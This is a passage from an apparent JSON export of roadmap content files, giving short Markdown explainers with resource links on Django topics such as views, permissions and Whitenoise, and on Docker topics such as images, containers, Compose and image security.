    "content": "# Users & Permissions\n\nUser authentication and authorization are fundamental aspects of web application security. Django provides a built-in system for managing users, groups, and permissions, allowing developers to control access to different parts of their application. This system defines who can access what, ensuring data integrity and security.\n\nVisit the following resources to learn more:\n\n- [@official@Using the Django authentication system](https://docs.djangoproject.com/en/6.0/topics/auth/default/#auth-admin)\n- [@official@Managing users in the admin](https://docs.djangoproject.com/en/6.0/topics/auth/default/#auth-admin)\n- [@article@Django Tutorial Part 8: User authentication and permissions](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Authentication)\n- [@article@Permissions in Django](https://testdriven.io/blog/django-permissions/)\n- [@video@Django Permissions system - deep dive with Users, Groups and Permissions](https://www.youtube.com/watch?v=IF_ZpCiZKkw)"
  },
  {
    "path": "src/data/roadmaps/django/content/variables@wxkaVWdZGcAZVxbfOJvZE.md",
    "content": "# Variables in Django Templates\n\nVariables in Django templates are placeholders that get replaced with actual values when the template is rendered. They allow you to dynamically display data from your Django views within your HTML templates. These variables are enclosed in double curly braces `{{ variable_name }}` and can represent data of various types, such as strings, numbers, lists, or even objects.\n\nVisit the following resources to learn more:\n\n- [@official@Variables](https://docs.djangoproject.com/en/6.0/ref/templates/language/#variables)\n- [@article@Django Template Variables](https://www.w3schools.com/django/django_template_variables.php)\n- [@video@Passing Variables to a Template with Django](https://www.youtube.com/watch?v=wkTE2QvzSmc)"
  },
  {
    "path": "src/data/roadmaps/django/content/views--viewsets@MY9L0_kzjrbda43d-Ey-H.md",
    "content": "# Views & ViewSets\n\nViews in Django REST Framework handle the logic for processing incoming web requests and returning responses, similar to regular Django views. ViewSets provide a way to group related views into a single class, reducing code duplication and simplifying the creation of complex APIs by offering pre-built actions like list, create, retrieve, update, and delete.\n\nVisit the following resources to learn more:\n\n- [@official@Viewsets](https://www.django-rest-framework.org/api-guide/viewsets/)\n- [@official@Tutorial 6: ViewSets & Routers](https://www.django-rest-framework.org/tutorial/6-viewsets-and-routers/)\n- [@article@Django REST Framework Views - ViewSets](https://testdriven.io/blog/drf-views-part-3/)\n- [@video@Viewsets & Routers in Django REST Framework](https://www.youtube.com/watch?v=4MrB4IvW6Ow)\n- [@video@Django REST Framework - Generic Views | ListAPIView & RetrieveAPIView](https://www.youtube.com/watch?v=vExjSChWPWg)"
  },
  {
    "path": "src/data/roadmaps/django/content/views@04iZjMANQFOjASGRz9Maw.md",
    "content": "# Views\n\nViews are functions or classes in Django that take a web request and return a web response. They act as the intermediary between the model (data) and the template (presentation), processing user requests, retrieving data from the database, and rendering the appropriate template to display the information to the user. Essentially, a view determines what content is shown to the user when they visit a specific URL.\n\nVisit the following resources to learn more:\n\n- [@official@Views](https://docs.djangoproject.com/en/6.0/topics/http/views/)\n- [@article@Django Views](https://www.w3schools.com/django/django_views.php)\n- [@article@Django Views — The Right Way¶](https://spookylukey.github.io/django-views-the-right-way/)\n- [@video@Django Tutorial #3 - URLs and Views](https://www.youtube.com/watch?v=TblSa29DX6I)"
  },
  {
    "path": "src/data/roadmaps/django/content/viewspy@e-5mm0hv-sgG4lfDcISQ6.md",
    "content": "# Views\n\n`views.py` is a Python file in a Django app that contains the logic for handling web requests and returning responses. It defines functions or classes, known as \"views,\" that receive HTTP requests, process data (often interacting with models), and render templates to generate HTML responses that are sent back to the user's browser. Essentially, it acts as the intermediary between the user's request and the data/templates needed to fulfill that request.\n\nVisit the following resources to learn more:\n\n- [@official@Views](https://docs.djangoproject.com/en/6.0/topics/http/views/)\n- [@article@Django Views](https://www.w3schools.com/django/django_views.php)\n- [@article@Django Views — The Right Way](https://spookylukey.github.io/django-views-the-right-way/index.html)"
  },
  {
    "path": "src/data/roadmaps/django/content/virtual-envs@1JeM23O8r_WnIdmgrgZ_7.md",
    "content": "# Virtual Environments\n\nVirtual environments are isolated spaces on your computer that contain specific versions of Python and its packages. This allows you to manage dependencies for different projects separately, preventing conflicts that can arise when projects require different versions of the same library. By creating a virtual environment for each Django project, you ensure that each project has its own set of dependencies, making your projects more organized and reproducible.\n\nVisit the following resources to learn more:\n\n- [@article@How to Activate Your Django Virtual Environment](https://www.freecodecamp.org/news/how-to-activate-your-django-virtual-environment/)\n- [@article@Django - Create Virtual Environment](https://www.w3schools.com/django/django_create_virtual_environment.php)\n- [@article@Setting up a Django development environment](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/development_environment)\n- [@video@How to Install Django in Virtual Environment in VSCode (2024)](https://www.youtube.com/watch?v=EjIoERmeVE8)"
  },
  {
    "path": "src/data/roadmaps/django/content/whitenoise@oUjfjCRymVJs4HzmMeks5.md",
    "content": "# Whitenoise\n\nWhitenoise is a library that allows your web application to serve static files directly from its own WSGI server. This means you don't need to rely on a separate web server like Nginx or Apache to serve static assets such as CSS, JavaScript, and images. It simplifies deployment, especially in environments where configuring a separate static file server is complex or undesirable.\n\nVisit the following resources to learn more:\n\n- [@official@WhiteNoise Docs](https://whitenoise.readthedocs.io/en/stable/index.html)\n- [@official@whitenoise](https://pypi.org/project/whitenoise/)\n- [@article@Mastering Django Whitenoise: A Deep Dive into Efficient Static File Management](https://medium.com/@karimmirzaguliyev/mastering-django-whitenoise-a-deep-dive-into-efficient-static-file-management-fa2aa5f669e6)\n- [@article@Django - Installing WhiteNoise](https://www.w3schools.com/django/django_static_whitenoise.php)\n- [@video@Whitenoise for Django Static Assets - Overview!](https://www.youtube.com/watch?v=QZTk8txo6x0)"
  },
  {
    "path": "src/data/roadmaps/django/content/why-use-web-frameworks@xdxitF1Foo6W9Pj6-2Be1.md",
    "content": "# Web Frameworks\n\nWeb frameworks provide a structure and set of tools to streamline the development of web applications. They handle common tasks like routing URLs, managing sessions, interacting with databases, and ensuring security, allowing developers to focus on the unique features of their application rather than reinventing the wheel. This leads to faster development, more maintainable code, and improved security practices.\n\nVisit the following resources to learn more:\n\n- [@article@Web Frameworks: All You Should Know About](https://www.browserstack.com/guide/web-development-frameworks)\n- [@article@What is a web development framework (WDF)?](https://www.techtarget.com/searchcontentmanagement/definition/web-development-framework-WDF)\n- [@video@hat Is a Framework in Programming? | Why Is It Useful?](https://www.youtube.com/watch?v=BfhSoFARn6w)"
  },
  {
    "path": "src/data/roadmaps/django/django.md",
    "content": "---\nrenderer: editor\n---\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/application-architecture@EqYWfBL5l5OOquok_OvOW.md",
    "content": "# Application Architecture\n\nApplication architecture in containerized environments focuses on designing applications to leverage containerization benefits. This includes microservices patterns, service decomposition, inter-service communication, data persistence strategies, and designing for scalability and fault tolerance in distributed systems.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Application Design Patterns](https://docs.docker.com/get-started/docker-concepts/building-images/)\n- [@article@Microservices Architecture](https://microservices.io/)\n- [@article@Container Design Patterns](https://kubernetes.io/blog/2016/06/container-design-patterns/)\n- [@article@Twelve-Factor App Methodology](https://12factor.net/)\n- [@video@Microservices vs Monolith Architecture](https://www.youtube.com/watch?v=GBTdnfD6s5Q)"
  },
  {
    "path": "src/data/roadmaps/docker/content/bare-metal-vs-vms-vs-containers@3hatcMVLDbMuz73uTx-9P.md",
    "content": "# Bare Metal vs VM vs Containers\n\nBare metal runs applications directly on hardware with maximum performance but limited flexibility. VMs use hypervisors to run multiple OS instances with strong isolation but higher overhead. Containers share the host OS kernel, providing lightweight isolation with better resource efficiency than VMs while maintaining portability.\n\nVisit the following resources to learn more:\n\n- [@article@History of Virtualization](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/01-history-and-motivation/03-history-of-virtualization)\n- [@article@Bare Metal Machine](https://glossary.cncf.io/bare-metal-machine/)\n- [@article@What is a Virtual Machine?](https://azure.microsoft.com/en-au/resources/cloud-computing-dictionary/what-is-a-virtual-machine)"
  },
  {
    "path": "src/data/roadmaps/docker/content/basics-of-docker@kIqx7Inf50mE9W0juwNBz.md",
    "content": "# Docker Basics\n\nDocker is a platform that simplifies building, packaging, and deploying applications in lightweight, portable containers. Key components include Dockerfiles (build instructions), Images (snapshots), and Containers (running instances). Essential commands cover pulling images, building from Dockerfiles, running containers with port mapping, and managing both containers and images.\n\nWhat is a Container?\n--------------------\n\nA container is a lightweight, standalone, and executable software package that includes all the dependencies (libraries, binaries, and configuration files) required to run an application. Containers isolate applications from their environment, ensuring they work consistently across different systems.\n\nDocker Components\n-----------------\n\nThere are three key components in the Docker ecosystem:\n\n*   **Dockerfile**: A text file containing instructions (commands) to build a Docker image.\n*   **Docker Image**: A snapshot of a container, created from a Dockerfile. Images are stored in a registry, like Docker Hub, and can be pulled or pushed to the registry.\n*   **Docker Container**: A running instance of a Docker image.\n\nDocker Commands\n---------------\n\nBelow are some essential Docker commands you'll use frequently:\n\n*   `docker pull <image>`: Download an image from a registry, like Docker Hub.\n*   `docker build -t <image_name> <path>`: Build an image from a Dockerfile, where `<path>` is the directory containing the Dockerfile.\n*   `docker image ls`: List all images available on your local machine.\n*   `docker run -d -p <host_port>:<container_port> --name <container_name> <image>`: Run a container from an image, mapping host ports to container ports.\n*   `docker container ls`: List all running containers.\n*   `docker container stop <container>`: Stop a running container.\n*   `docker container rm <container>`: Remove a stopped container.\n*   `docker image rm <image>`: Remove an image from your local machine."
  },
  {
    "path": "src/data/roadmaps/docker/content/bind-mounts@wZcCW1ojGzUakHCv2AaI1.md",
    "content": "# Bind Mounts\n\nBind mounts have limited functionality compared to volumes. When you use a bind mount, a file or directory on the host machine is mounted into a container. The file or directory is referenced by its absolute path on the host machine. By contrast, when you use a volume, a new directory is created within Docker's storage directory on the host machine, and Docker manages that directory's contents.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Bind Mounts](https://docs.docker.com/storage/bind-mounts/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/building-container-images@5OEfBQaYNOCi999x6QUqW.md",
    "content": "# Building Container Images\n\nContainer images are executable packages that include everything required to run an application: code, runtime, system tools, libraries, and settings. By building custom images, you can deploy applications seamlessly with all their dependencies on any Docker-supported platform. The key component in building a container image is the `Dockerfile`. It is essentially a script containing instructions on how to assemble a Docker image. Each instruction in the Dockerfile creates a new layer in the image, making it easier to track changes and minimize the image size. Here's a simple example of a Dockerfile:\n\nVisit the following resources to learn more:\n\n- [@official@Docker Build Overview](https://docs.docker.com/build/concepts/overview)\n- [@official@Docker Image Builder](https://docs.docker.com/reference/cli/docker/buildx/build/)\n- [@official@Dockerfile Reference](https://docs.docker.com/engine/reference/builder/)\n- [@opensource@Dockerfile Examples](https://github.com/dockersamples)"
  },
  {
    "path": "src/data/roadmaps/docker/content/cgroups@fRl4EfNwlBiidzn3IV34-.md",
    "content": "# cgroups\n\ncgroups (control groups) are Linux kernel features that limit and manage system resources like CPU, memory, and I/O for process groups. Docker uses cgroups to enforce resource constraints on containers, ensuring predictable performance and preventing containers from consuming excessive system resources.\n\nVisit the following resources to learn more:\n\n- [@official@Control Groups](https://www.docker.com/resources/what-container/#control-groups)\n- [@article@Control Groups - Medium](https://medium.com/@furkan.turkal/how-does-docker-actually-work-the-hard-way-a-technical-deep-diving-c5b8ea2f0422)\n- [@video@An introduction to cgroups, runc & containerD](https://www.youtube.com/watch?v=u1LeMndEk70)"
  },
  {
    "path": "src/data/roadmaps/docker/content/command-line-utilities@YzpB7rgSR4ueQRLa0bRWa.md",
    "content": "# Command Line Utilities\n\nDocker images can include command line utilities or standalone applications that we can run inside containers.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Images](https://docs.docker.com/engine/reference/commandline/images/)\n- [@official@Docker Run](https://docs.docker.com/reference/cli/docker/container/run/)\n- [@official@Docker Pull](https://docs.docker.com/engine/reference/commandline/pull/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/container-registries@3VKPiMfbGBxv9m_SljIQV.md",
    "content": "# Container Registries\n\nA Container Registry is a centralized storage and distribution system for Docker container images. It allows developers to easily share and deploy applications in the form of these images. Container registries play a crucial role in the deployment of containerized applications, as they provide a fast, reliable, and secure way to distribute container images across various production environments.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Registry](https://docs.docker.com/registry/)\n- [@official@Docker Hub](https://hub.docker.com/)\n- [@official@Artifact Registry](https://cloud.google.com/artifact-registry)\n- [@official@Amazon ECR](https://aws.amazon.com/ecr/)\n- [@official@Azure Container Registry](https://azure.microsoft.com/en-in/products/container-registry)"
  },
  {
    "path": "src/data/roadmaps/docker/content/container-security@78YFahP3Fg-c27reLkuK4.md",
    "content": "# Container Security\n\nContainer security encompasses a broad set of practices and tools aimed at protecting containerized applications from development through deployment and runtime. It involves securing the container image, ensuring that only trusted and non-vulnerable code is used, implementing strong access controls for container environments, and configuring containers to follow the principle of least privilege. Additionally, it includes monitoring for unexpected behavior, protecting communication between containers, and maintaining the host environment’s security. Effective container security integrates seamlessly into DevSecOps workflows to provide continuous visibility and protection across the container lifecycle without disrupting development speed or agility.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Security](https://docs.docker.com/engine/security/)\n- [@article@Kubernetes Security Best Practices](https://www.aquasec.com/cloud-native-academy/kubernetes-in-production/kubernetes-security-best-practices-10-steps-to-securing-k8s/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/containers@jhwe-xfVc-C7qy8YuS5dZ.md",
    "content": "# Containers\n\nContainers are isolated, lightweight environments that run applications using a shared operating system kernel, ensuring consistency and portability across different computing environments. They encapsulate everything needed to run an application, such as code, dependencies, and configurations, making it easy to move and run the containerized application anywhere. Using the Docker CLI, you can create, start, stop, and manage containers with commands like `docker run`, `docker ps` to list running containers, `docker stop` to halt them, and `docker exec` to interact with them in real time. The CLI provides a powerful interface for developers to build, control, and debug containers effortlessly, allowing for streamlined development and operational workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Docker CLI Commands](https://docs.docker.com/engine/reference/commandline/cli/)\n- [@article@Docker CLI Commands Cheat Sheet](https://docs.docker.com/get-started/docker_cheatsheet.pdf)"
  },
  {
    "path": "src/data/roadmaps/docker/content/continuous-integration@oyqw4tr-taZcxt5kREh1g.md",
    "content": "# Continuous Integration (CI)\n\nContinuous integration is the idea of executing some actions (for example build, test, etc...) automatically as you push code to your version control system.\n\nFor containers, there are a number of things we may want to do:\n\n*   Build the container images\n*   Execute tests\n*   Scan container images for vulnerabilities\n*   Tag images with useful metadata\n*   Push to a container registry\n\nVisit the following resources to learn more:\n\n- [@article@Continuous Integration - Docker](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/11-development-workflow/04-continuous-integration-github-actions)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/data-persistence@uUPYXmwu27SBPqKZx6U_q.md",
    "content": "# Data Persistence in Docker\n\nDocker enables you to run containers that are isolated pieces of code, including applications and their dependencies, separated from the host operating system. Containers are ephemeral by default, which means any data stored in the container will be lost once it is terminated. To overcome this problem and retain data across container lifecycle, Docker provides various data persistence methods.\n\nVisit the following resources to learn more:\n\n- [@official@Data Persistence - Docker Documentation](https://docs.docker.com/get-started/docker-concepts/running-containers/persisting-container-data/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/databases@jKSE_wKYf4P9wnSh_LkMi.md",
    "content": "# Using Databases\n\nRunning your database in a Docker container can help streamline your development process and ease deployment. Docker Hub provides numerous pre-made images for popular databases such as MySQL, PostgreSQL, and MongoDB.\n\nVisit the following resources to learn more:\n\n- [@official@Containerized Databases](https://docs.docker.com/guides/use-case/databases/)\n- [@video@How to Setup MySQL Database with Docker](https://www.youtube.com/watch?v=igc2zsOKPJs)"
  },
  {
    "path": "src/data/roadmaps/docker/content/debuggers@LiAV9crrTHhLqeZhD25a2.md",
    "content": "# Debuggers in Docker\n\nIn order to make developing with containers competitive with developing locally, we need the ability to run and attach to debuggers inside the container.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Buildx Debug](https://docs.docker.com/reference/cli/docker/buildx/debug/)\n- [@article@Debuggers in Docker](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/11-development-workflow/02-debug-and-test)"
  },
  {
    "path": "src/data/roadmaps/docker/content/deploying-containers@qXOGqORi3EdqwsP9Uhi9m.md",
    "content": "# Deploying Containers\n\nDeploying containers is a crucial step in using Docker and containerization to manage applications more efficiently, easily scale, and ensure consistent performance across environments. This topic will give you an overview of how to deploy Docker containers to create and run your applications.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Deployment](https://docs.docker.com/guides/orchestration/)\n- [@official@Docker Compose](https://docs.docker.com/compose/)\n- [@official@Docker Swarm](https://docs.docker.com/engine/swarm/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/developer-experience@hHXTth0ZP8O-iMGR9xfu9.md",
    "content": "# Developer Experience\n\nDocker significantly enhances the developer experience by providing a consistent, isolated environment for building, testing, and running applications, eliminating the “it works on my machine” problem. With Docker, developers can package their applications and dependencies into portable containers, ensuring consistency across different environments, from local development to staging and production. The simplified setup and reproducibility of environments accelerate onboarding, minimize conflicts, and allow developers to focus on coding rather than troubleshooting configurations. Moreover, tools like Docker Compose enable quick orchestration of complex multi-container applications, making it easier to prototype, iterate, and collaborate, ultimately streamlining the entire development lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Developer Experience](https://www.docker.com/blog/cto-chat-overcoming-the-developer-experience-gap-feat-redmonk-flow-io/)\n- [@article@Developer Experience Wishlist - Docker](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/11-development-workflow/00-devx-wishlist#key-devx-features)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-and-oci@43drPbTwPqJQPyzwYUdBT.md",
    "content": "# Docker and OCI\n\nThe Open Container Initiative (OCI) is a Linux Foundation project which aims at creating industry standards for container formats and runtimes. Its primary goal is to ensure the compatibility and interoperability of container environments through defined technical specifications.\n\nVisit the following resources to learn more:\n\n- [@official@Open Container Initiative](https://opencontainers.org/)\n- [@article@OCI - Wikipedia](https://en.wikipedia.org/wiki/Open_Container_Initiative)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-cli@b-LwyYiegbF0jIrn7HYRv.md",
    "content": "# Docker CLI\n\nThe Docker Command Line Interface (CLI) is a powerful tool used to interact with the Docker engine, enabling developers and operators to build, manage, and troubleshoot containers and related resources. With a wide range of commands, the Docker CLI provides control over all aspects of Docker, including creating and managing containers (`docker run`, `docker stop`), building images (`docker build`), managing networks (`docker network`), handling storage (`docker volume`), and inspecting system status (`docker ps`, `docker info`). Its intuitive syntax and flexibility allow users to automate complex workflows, streamline development processes, and maintain containerized applications with ease, making it a foundational utility for Docker management and orchestration.\n\nVisit the following resources to learn more:\n\n- [@official@Docker CLI](https://docs.docker.com/reference/cli/docker/)\n- [@official@Docker Compose](https://docs.docker.com/compose/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-compose@jjA9E0J8N2frfeJCNtA1m.md",
    "content": "# Docker Compose\n\nDocker Compose is a tool for defining and running multi-container applications using a YAML file (`docker-compose.yml`). It describes application services, networks, and volumes, enabling you to create, manage, and run entire containerized applications with single commands for simplified orchestration.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Compose documentation](https://docs.docker.com/compose/)\n- [@opensource@Curated Docker Compose Samples](https://github.com/docker/awesome-compose?tab=readme-ov-file)\n- [@video@Docker Compose Tutorial](https://www.youtube.com/watch?v=DM65_JyGxCo)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-desktop-winmaclinux@NCdsPRhJy7UtQFNLo1J1f.md",
    "content": "# Docker Desktop\n\nDocker Desktop is a comprehensive development environment for Windows, macOS, and Linux with a GUI. It includes Docker Engine, CLI, Buildx, Extensions, Compose, Kubernetes, and credentials helper, providing everything needed for container development on desktop platforms.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Desktop Documentation](https://docs.docker.com/desktop/)\n- [@official@Docker Get Started Guide](https://docs.docker.com/get-started/)\n- [@official@Docker Hub](https://hub.docker.com/)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-engine--linux@0NKqLUWtJMlXn-m6wpA6f.md",
    "content": "# Docker Engine\n\nDocker Engine is the core open-source containerization runtime that creates and manages containers, builds images, and provides the Docker API. It runs on Linux, Windows, and macOS, serving as the foundation for Docker Desktop and standalone Docker installations on servers.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Engine Installation Guide](https://docs.docker.com/engine/install/)\n- [@official@Docker Engine - Docker Documentation](https://docs.docker.com/engine/)\n- [@video@Docker Engine for Linux Servers Setup and Tips](https://www.youtube.com/watch?v=YeF7ObTnDwc)\n- [@feed@Explore top posts about Docker](https://app.daily.dev/tags/docker?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-run@6eu5NRA1sJuaHTlHtNurc.md",
    "content": "# Running Containers\n\nThe `docker run` command creates and starts a new container from a specified image. It combines `docker create` and `docker start` operations, offering a range of options to customize the container's runtime environment. Users can set environment variables, map ports and volumes, define network connections, and specify resource limits. The command supports detached mode for background execution, interactive mode for shell access, and the ability to override the default command defined in the image. Common flags include `-d` for detached mode, `-p` for port mapping, `-v` for volume mounting, and `--name` for assigning a custom container name. Understanding `docker run` is fundamental to effectively deploying and managing Docker containers.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Run](https://docs.docker.com/engine/reference/commandline/run/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/docker-swarm@ks6PFN-0Z9zH7gtWaWgxz.md",
    "content": "# Docker Swarm\n\nDocker Swarm is Docker’s native container orchestration tool that allows users to deploy, manage, and scale containers across a cluster of Docker hosts. By transforming a group of Docker nodes into a single, unified cluster, Swarm provides high availability, load balancing, and automated container scheduling using simple declarative commands. With features like service discovery, rolling updates, and integrated security through TLS encryption, Docker Swarm offers an approachable alternative to more complex orchestrators like Kubernetes. Its tight integration with the Docker CLI and ease of setup make it a suitable choice for small to medium-sized deployments where simplicity and straightforward management are priorities.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Swarm](https://docs.docker.com/engine/swarm/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/dockerfiles@yGRQcx64S-yBGEoOeMc55.md",
    "content": "# Dockerfile\n\nA Dockerfile is a text document that contains a list of instructions used by the Docker engine to build an image. Each instruction in the Dockerfile adds a new layer to the image. Docker will build the image based on these instructions, and then you can run containers from the image.\n\nVisit the following resources to learn more:\n\n- [@official@Dockerfile Reference](https://docs.docker.com/engine/reference/builder/)\n- [@official@Dockerfile Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)\n- [@opensource@Dockerfile Examples](https://github.com/dockersamples)"
  },
  {
    "path": "src/data/roadmaps/docker/content/dockerhub@rxVR62_yXIjc-L4GFSV6u.md",
    "content": "# DockerHub\n\nDocker Hub is a cloud-based registry service that serves as the primary public repository for Docker container images. It allows users to store, share, and distribute Docker images, offering both free public repositories and paid private ones and integrates seamlessly with Docker CLI, enabling easy pushing and pulling of images. It features official images maintained by software vendors, automated builds linked to source code repositories, and webhooks for triggering actions based on repository events.\n\nVisit the following resources to learn more:\n\n- [@official@DockerHub](https://hub.docker.com/)\n- [@official@DockerHub Repositories](https://docs.docker.com/docker-hub/repos/)\n- [@official@DockerHub Webhooks](https://docs.docker.com/docker-hub/webhooks/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/efficient-layer-caching@frshJqVMP8D7o_7tMZMPI.md",
    "content": "# Efficient Layer Caching\n\nWhen building container images, Docker caches the newly created layers. These layers can then be used later on when building other images, reducing the build time and minimizing bandwidth usage. However, to make the most of this caching mechanism, you should be aware of how to efficiently use layer caching. Docker creates a new layer for each instruction (e.g., `RUN`, `COPY`, `ADD`, etc.) in the Dockerfile. If the instruction hasn't changed since the last build, Docker will reuse the existing layer.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Layer Caching](https://docs.docker.com/build/cache/)\n- [@video@Layer Caching](https://www.youtube.com/watch?v=_nMpndIyaBU)"
  },
  {
    "path": "src/data/roadmaps/docker/content/ephemeral-container-filesystem@086zZYjtzdCaDHm-MkSqg.md",
    "content": "# Ephemeral FS\n\nBy default, the storage within a Docker container is ephemeral, meaning that any data changes or modifications made inside a container will only persist until the container is stopped and removed. Once the container is stopped and removed, all the associated data will be lost. This is because Docker containers are designed to be stateless by nature. This temporary or short-lived storage is called the \"ephemeral container file system\". It is an essential feature of Docker, as it enables fast and consistent deployment of applications across different environments without worrying about the state of a container.\n\nVisit the following resources to learn more:\n\n- [@official@Data Persistence - Docker Documentation](https://docs.docker.com/get-started/docker-concepts/running-containers/persisting-container-data/)\n- [@video@Docker Concepts - Persisting container data](https://www.youtube.com/watch?v=10_2BjqB_Ls)"
  },
  {
    "path": "src/data/roadmaps/docker/content/hot-reloading@4p5d3rzCHy4vjg2PRX-2k.md",
    "content": "# Hot Reloading in Docker\n\nEven though we can speed up the image building with layer caching enable, we don't want to have to rebuild our container image with every code change. Instead, we want the state of our application in the container to reflect changes immediately. We can achieve this through a combination of bind mounts and hot reloading utilities!\n\nVisit the following resources to learn more:\n\n- [@article@Hot Reloading - Docker](https://courses.devopsdirective.com/docker-beginner-to-pro/lessons/11-development-workflow/01-hot-reloading)"
  },
  {
    "path": "src/data/roadmaps/docker/content/image-security@M5UG-ZcyhBPbksZd0ZdNt.md",
    "content": "# Image Security\n\nImage security is a crucial aspect of deploying Docker containers in your environment. Ensuring the images you use are secure, up to date, and free of vulnerabilities is essential. In this section, we will review best practices and tools for securing and managing your Docker images. When pulling images from public repositories, always use trusted, official images as a starting point for your containerized applications. Official images are vetted by Docker and are regularly updated with security fixes. You can find these images on the Docker Hub or other trusted registries.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Content Trust](https://docs.docker.com/engine/security/trust/content_trust/)\n- [@official@Docker Hub](https://hub.docker.com/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/image-size-and-security@-8wAzF6_3gruiM3VYMvB0.md",
    "content": "# Reducing Image Size\n\nReducing Docker image size is crucial for optimizing storage, transfer speeds, and deployment times. Key strategies include using minimal base images like Alpine Linux, leveraging multi-stage builds to exclude unnecessary build tools, removing unnecessary files and packages, and minimizing the number of layers by combining commands.\n\nVisit the following resources to learn more:\n\n- [@official@Multi-stage builds](https://docs.docker.com/build/building/multi-stage/)\n- [@official@Docker Best Practices](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/)\n- [@feed@Explore top posts about Security](https://app.daily.dev/tags/security?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/docker/content/image-tagging-best-practices@Vs4WQwgJFhA63U9Gf2ym0.md",
    "content": "# Image Tagging Best Practices\n\nDocker image tagging best practices center on creating clear, consistent, and informative labels. Adopt semantic versioning for releases, avoid the ambiguous \"latest\" tag in production, and include relevant metadata like build dates or Git commit hashes. Implement a strategy distinguishing between environments, use descriptive tags for variants, and automate tagging in CI/CD pipelines. Regularly clean up old tags and document your conventions to maintain clarity and facilitate team-wide adoption. These practices ensure efficient image management and improve collaboration across your organization.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Tags](https://docs.docker.com/get-started/docker-concepts/building-images/build-tag-and-publish-an-image/)\n- [@article@Docker Image Tagging Best Practices](https://medium.com/@nirmalkushwah08/docker-image-tagging-strategy-4aa886fb4fcc)\n- [@article@Semantic Versioning](https://semver.org/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/images@3Nsg-F3wMKEzEsXw1MBZv.md",
    "content": "# Docker Images\n\nDocker images are lightweight, standalone packages containing everything needed to run software: application code, runtime, libraries, and system tools. Built in layers for efficient storage, they serve as blueprints for containers and can be shared through registries like Docker Hub for consistent deployment across environments.\n\nVisit the following resources to learn more:\n\n- [@article@What's the Difference Between Docker Images and Containers?](https://aws.amazon.com/compare/the-difference-between-docker-images-and-containers/)\n- [@video@What is an image?](https://www.youtube.com/watch?v=NyvT9REqLe4)"
  },
  {
    "path": "src/data/roadmaps/docker/content/installation--setup@01nDXqxVdMv4SeXc0nYHH.md",
    "content": "# Installation Setup\n\nDocker provides Docker Desktop, a desktop application that simplifies installation and setup with GUI capabilities. Alternatively, you can install Docker Engine for command-line only functionality without graphical interface components.\n\nVisit the following resources to learn more:\n\n- [@official@Docker Desktop website](https://www.docker.com/products/docker-desktop)\n- [@official@Docker Engine](https://docs.docker.com/engine/install/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/interactive-test-environments@HlTxLqKNFMhghtKF6AcWu.md",
    "content": "# Interactive Test Environments with Docker\n\nDocker allows you to create isolated, disposable environments that can be deleted once you're done with testing. This makes it much easier to work with third party software, test different dependencies or versions, and quickly experiment without the risk of damaging your local setup.\n\nVisit the following resources to learn more:\n\n- [@official@Launch a Dev Environment](https://docs.docker.com/desktop/dev-environments/create-dev-env/)\n- [@article@Test Environments - Medium](https://manishsaini74.medium.com/containerized-testing-orchestrating-test-environments-with-docker-5201bfadfdf2)\n"
  },
  {
    "path": "src/data/roadmaps/docker/content/introduction@Py9nst2FDJ1_hoXeX_qSF.md",
    "content": "# What is Docker?\n\nDocker is an open-source platform that automates application deployment, scaling, and management using lightweight, portable containers. Containers are standalone executable units containing all necessary dependencies, libraries, and configuration files for consistent application execution across various environments.\n\nVisit the following resources to learn more:\n\n- [@official@Docker](https://www.docker.com/)\n- [@official@Docker Docs](https://docs.docker.com/)"
  },
  {
    "path": "src/data/roadmaps/docker/content/kubernetes@RqXpX2XabtHYVjgg1EZR_.md",
